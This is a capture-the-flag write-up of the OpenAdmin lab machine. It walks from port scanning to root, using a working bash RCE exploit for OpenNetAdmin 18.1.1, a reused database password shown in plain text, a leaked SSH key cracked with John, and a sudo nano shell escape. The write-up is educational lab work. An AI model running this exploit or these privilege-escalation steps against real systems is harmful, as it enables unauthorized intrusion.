OpenAdmin starts off by finding an instance of OpenNetAdmin. This application is known to be vulnerable to a remote code execution, which then exploited to gain a foothold on the system. Enumerating inside the machine reveals a database password that is reused by one of the users. This user has access to internal web where it has a flaw that can be exploited to obtain the SSH key of another user. The second user is allowed to run a nano
editor with sudo privileges, and this can be abused to gain root access.
Skills Learned
- Exploiting OpenNetAdmin v18.1.1
- Abusing sudo rights on
nano
.
Tools
- Nmap
- Dirbuster
- John The Ripper - https://www.openwall.com/john/
Reconnaissance
Nmap
→ root@iamf «openadmin» «10.10.14.7»
$ nmap -sV -sC -oA OpenAdmin '10.10.10.171' -v
-sC
, to scan with default script-sV
, to scan service version-oA
, to save the output to all formats-v
, verbose mode
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the scan results, nmap
found two open ports:
- An SSH service running on port 22
- An HTTP service running on port 80
As SSH usually requires valid credentials and there’s is no straight exploit yet, hence further enumeration is needed.
Enumeration
TCP 80 - Website
Visiting the standard http port only displays the Apache default page.
Directory Brute Force - dirb
Running dirb
against the web successfully discovered a few hidden paths.
→ root@iamf «openadmin» «10.10.14.7»
$ dirb http://10.10.10.171/ /usr/share/wordlists/dirb/common.txt -r
...<SNIP>...
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/
+ http://10.10.10.171/index.html(CODE:200|SIZE:10918)
==> DIRECTORY: http:/10.10.10.171/music/
+ http://10.10.10.171/server-status (CODE:200|SIZE:278)
...<SNIP>...
/artwork/
Nothing here.
/music/
The /music
home page provides a login menu that points to http://openadmin.htb/ona
/ona/
Visiting /ona/
brings me to an instance of OpenNetAdmin. It is a software for managing network related things (IPAM).
There’s a warning on the page. It’s complaining about not running the latest version compared to the one currently in use (v18.1.1
)
Foothold
Shell as www-data
OpenNetAdmin 18.1.1 RCE
Based on the version above, a quick search on exploit-db
shows that the current instance of OpenNetAdmin is vulnerable to a remote code execution. The exploit PoC source code is as follows:
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
I saved the exploit to a file called OpenRCE.sh
. I ran the exploit and it resulted in a shell access as www-data
→ kali@kali «openadmin» «10.10.14.7»
$ ./OpenRCE.sh http://10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
openadmin
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:72:3a brd ff:ff:ff:ff:ff:ff
inet 10.10.10.171/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:723a/64 scope global dynamic mngtmpaddr
valid_lft 86350sec preferred_lft 14350sec
inet6 fe80::250:56ff:feb9:723a/64 scope link
valid_lft forever preferred_lft forever
Privilege Escalation
Shell as jimmy
Enumeration
In the current directory, there’s a database config file (database_settings.inc.php
) which contains a set of credentials.
$ cat ./local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
SSH access
The password worked for user jimmy
, but the user flag can not be found in jimmy
’s home directory.
Shell as joanna
Enumeration
The find
command is issued again to search files that is accessible or owned by user jimmy
.
jimmy@openadmin:~$ find / -type f -user jimmy 2>/dev/null
...<SNIP>...
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/login.php
...<SNIP>...
It successfully reveals that user jimmy
has access to files in /var/www/internal/
.
Based on the apache config, /var/www/internal
is currently hosted locally on port 52846.
jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Code review - Improper redirection
After inspecting the main.php
source code from /var/www/internal/
, a logic flaw was found on the first line.
jimmy@openadmin:/var/www/internal/$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
This line code has an improper redirection.
<?php session_start();
if (!isset ($_SESSION['username'])) {
header("Location: /index.php");
# `die();` or `exit();` function should be called here.
};
...[SNIP]...
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
...[SNIP]...
The code above checks users’ sessions but it’s not complete yet because the die()
or exit()
function is missing, so the rest of the code below will be executed as well. Therefore, sending a normal request with curl
(default without -L
option) will prevent the page from redirection and then it renders joanna
’s SSH key.
jimmy@openadmin:~$ curl -s http://127.0.0.1:52846/main.php
Cracking passphrase
The private key is has a passphrase. I can try to find the passphrase with JtR
. First, the key must be converted to the hash form and this can be done by using ssh2john.py
→ root@iamf «openadmin» «10.10.14.7»
$ python ssh2john.py joanna_rsa > joanna_rsa.hash
The password was successfully cracked within 17s. The cracking process is performed on my Windows machine.
C:\> john.exe user2.txt --wordlist=rockyou.txz
SSH access
Now I’m able to login as user joanna
via SSH.
→ root@iamf «openadmin» «10.10.14.7»
$ ssh -i joanna_rsa joanna@10.10.10.171
The user flag is done here.
Shell as root
Abusing sudo rights on nano
User joanna
has sudo privileges on /bin/nano
On linux boxes, whenever you own a valid user password, always check
sudo -l
!
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
A quick way to read the root flag is by issuing the command below,
joanna@openadmin:~$ sudo /bin/nano /opt/priv
and then hit CTRL + R
to open a file, this allows us to read the root flag at /root/root.txt
To gain root shell, I’ll follow the instruction from GTFOBins page:
joanna@openadmin:~$ sudo /bin/nano /opt/priv # Opening nano as root
^R^X # CTRL+R (read/open file), CTRL+X(execute command)
reset; sh 1>&0 2>&0 # Escape from nano